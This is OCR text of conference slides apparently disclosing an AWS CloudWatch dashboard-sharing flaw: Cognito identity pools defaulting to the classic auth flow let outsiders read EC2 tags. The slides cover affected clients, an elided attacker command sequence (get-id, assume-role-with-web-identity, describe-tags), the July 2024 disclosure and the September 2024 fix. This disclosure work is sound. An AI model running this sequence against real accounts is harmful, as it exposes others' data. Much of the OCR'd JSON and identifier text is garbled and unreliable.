When Amazon Cognito identity pools are created, if the
allowClassicFlow field is not specified, it will default to
True, allowing the use of classic flow. This was
historically chosen when enhanced flow was introduced
as to not break customers from creating new identity

59



Affected Clients

Creating Cognito ID Pools Using:

Client “"Allow Classic Auth” default
Console
CLI/SDKs Uninitialised, effectively True

Terraform

REV3IASEC
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Affected Clients

Creating Cognito ID Pools Using:

Client
Console
CLI/SDKs

Terraform

“"Allow Classic Auth” default
False, unless explicitly enabled

Uninitialised, effectively True

6ef63" --region us-east-1

"IdentityPoolId": "us-east-1:7d66b318-a
"IdentityPoolName": "tsaole-newIdentityrooL-,
nal nlulIn:||+|'1.:.r1+'i.'-:.+.:.r4"rr4c.n+-i+iesll: true‘
"AllowClassicFlow": false,
TIdentityrooLliags™: 1§

:6—FfdcBel2eefs3",

REV3IASEC

Amazon Cognito » Identity pool

Step 1

Configure identity pool trust

Step 2

Configure permissions

Step 3

Connect identity providers

Step 4

Configure properties

Step 5

Review and create

s » Create identity pool

Configure properties i

Identity pool name

nly contain alphanumeric characters, spaces, and the following

Basic authentication

[ Activate basic flow

Tags (0) - optional info

Tag

No tags associated with the resource.

Add new tag

You can add up to 50 tags.

$ aws cognito-identity describe-identity-pool

Cancel Previous Next

—-—identity-pool-id "us-ea
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Affected Clients

Creating Cognito ID Pools Using:

Client "Allow Classic Auth” default
Console False, unless explicitly enabled
CLI/SDKs Uninitialised, effectively True

Terraform set by TF to False by default

® zllow_classic_flow (Optional) - Enables or disables the classic / basic authentication

flow. Default is fa1se .

registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/cognito_identity _pool#allow_classic_flow
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e
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Username & Password Sharing

Services Q

CloudWatch

Favorites and recents

Dashboards

Alarms AO @0 @0

¥ Logs

Log groups
Log Anomalies
Live Tail

Logs Insights

Contributor Insights

Metrics

X-Ray traces

Events

Network monitoring
Insights

Settings

Getting Started

What's new

4

Cloudwatch » Dashboards ew1-testdashboard-morewidgets > Share dashboard » Username and password

Share dashboard ew1-testdashboard-morewidgets

Username and password protected dashboard

Add email addresses
Enter the email addresses of the people that you want to share the dashboard with. New users will receive a temporary password and will be
prompted to set up their own password. Existing users can use their existing passwords.

[
I\-&\

Separate the email addresses with commas or semicolons. Maximum 5 email addresses allowed

‘ @gmail com X

To be able to share logs or composite alarms from your account, you must follow the instructions in Sharing CloudWatch Dashboards. [

@ Flease read

We recommend that you do not share dashboards if your account contains any sensitive information which
you would not wish to share with the users with whom you are sharing the dashboard.

Once you enable dashboard sharing, CloudWatch will generate a link for you to a web page which hosts the
dashboard.

The users that you specified above will be granted the following permissions: CloudWatch read-only
permissions to alarms and contributor insights rules in the Dashboard which you share, and to all metrics and
the names and tags of all EC2 instances in your account even if they are not shown in the Dashboard which
you share. We recommend that you consider whether it is appropriate to make this information available to
the users with whom you are sharing.

To enable the users you specified above to access the web page, the following Amazon Cognito [4
resources will be created in your account: Cognito user pool; Cognito users; Cognito app client; Cognito
Identity pool and IAM role.

For further information about dashbeoard sharing, including setting permissions to limit data which you share,
read our documentation [4.

Cancel Confirm and preview policy
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Username & Password Sharing
Can 3'd parties get EC2 tags?
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Username & Password Sharing
Can 3'd parties get EC2 tags?

Attacker Flow

$ aws cognito-identity get-id ...

An error occurred (NotAuthorizedException)

when calling the GetId operation:
Unauthenticated access is not supported for
this identity pool.

$ aws sts assume-role-with-web-identity ...

4. Read EC2 tags

$ aws ec2 describe-tags

REV3IASEC



Username & Password Sharin

Can intended viewers get EC2 tags?

‘e Lo Elements Console Sources Metwork Performance Memony Application Security

® @ Y Q @ Preservelog M Disablecache Nothrotting ¥ = @ 1L &

I 10000 mis 20000 ms 30000 ms A0000 ms 50000 ms

N ) -
"~*-ad Preview Response Initiator

WIEW SOUMCce

Lighthouse

50000 ms

Timing

Recorder Performance insights 24

0000 s 80000 ms

E-east-1:3b5%el4bc-boBa-c738-b707-@602515F0598", Logins: {,.},.-

G0000 ms

REV3IASEC
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SSO Sharin

hd ﬁ Invitation to join AWS |AM lder X ¢ AWS access portal X W AWS access portal X ar

< > C 23 larippingland.awsapps.com/start/#/?tab=applications

aWs  access portal ® & Bleossovw

(@ We've added support for visual and language preferences. Functional cookies are required to save preferences. Manage preferences X

AWS access portal

Accounts Applications

Applications (1)

Q, Find applications by name

Custom SAML 2.0 application

REVIASEC
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SSO Sharing

Can intended viewers get EC2 tags?

PAYLOAD: DATA

(
"at_hash": "VHGNOMEpel
"sub”: "64a8b428-268
‘cognito:groups”:
‘us-east-1_2sF Xt_SamlProvider”

ddec3f2269e9",

:

ss": "https: nito-idp.us-east-

1.amazonaws . com st-1_2sFoakKQXt",
‘cognito:username”:
“SamlProvider_ Bgmail.com"”,
"nonce”: "o_iuZF4hnHSdW2izG2-
zdV_1q7sEsW2T7NAu FenzJOK2QsRtAcW7kPs
Pw8rdejmZQqugLCRw rQmeIY7u_HwQDgEQ3Lm
dKEseRfIS069vBoPjLSFiR3z1WiejXzP3odwjPck",
"origin jti‘: "8bff318d. -813185501882

[

"cognito:roles”:
‘arn:aws:iam::6
role/CloudWatchDashboard-ReadOnlyA
aun . TavoLRoeq i oong 109
“identities”: [

{

o o
I+]

'dateCreated
‘userId
‘providerName”:
‘providerType": "

‘issuer”: "https: so.eu-west-
2 .amazonaws.com/saml/assertion/NjE6NzcZNDIBMjg2X21ucyBl
YT w2,

‘primary”: "true”

}

974
1685- -9e4c7475b8Fa" REVIASEC 69




Exposure x Sharing Methods

EC2 tags (/Lambda/CW Logs) exposure
Dashboard shared with gs (/ / gs) exposu

3rd Parties Intended Viewers

Public
Username & Password

SSO

REV3IASEC
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Resource Lifecycle

Unsharing the last Dashboard
removes the User Pool Unsharing a Dashboard
removes its own Identity Pool

single User Pool "CloudWatchDashboardSharing"

User Pools

IdentityPooll

Identity Pools IdentityPool2

IAMRolel

IAM Roles IAMRole2

Dashboardl Dashboardl Dashboard2 Dashboard?2 Dashboard2 Dashboardl Dashboard2 Dashboardl
is created is shared is created is shared isun-shared isun-shared is deleted is deleted

—

REV3IASEC 72



Disclosure
& Remediation
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Disclosure

* Reached out July 2024

AW, v‘s
LT AP,

« pre-HackerOne times

* A smooth experience working w.
AWS Security

* Fix deployed in early Sept. 2024

* no CVE / Security Bulletin
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The Fix

Name ® X Headers Payload Preview Response Initiator Timing
SkU=aja0tatusVUEMU=0DEPpU=CWwSUU=msSaK | =Qwm.bettL..

L) cognito-identity.us-east-1.amazonaws.com

(i 20240917223353632-79967038379738668

¥ Request Payload view source

Lotln aeasadldansaties: true, AllowClassicFlow: false,.}

| cognito-identity.us-east-1.amazonaws.com

L) cognito-identity.us-east-1.amazonaws.com sgnitoldentityProviders: ~193kb",..}]
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(> 20240917223353933-3324901779618998
(*> 20240917223354538-491107703282460

v" Public Sharing
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v SSO Sharing
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Takeaways

@ go beyond scanner results
@ default z secure
Q some risks remain

/\ security monitoring = security risk
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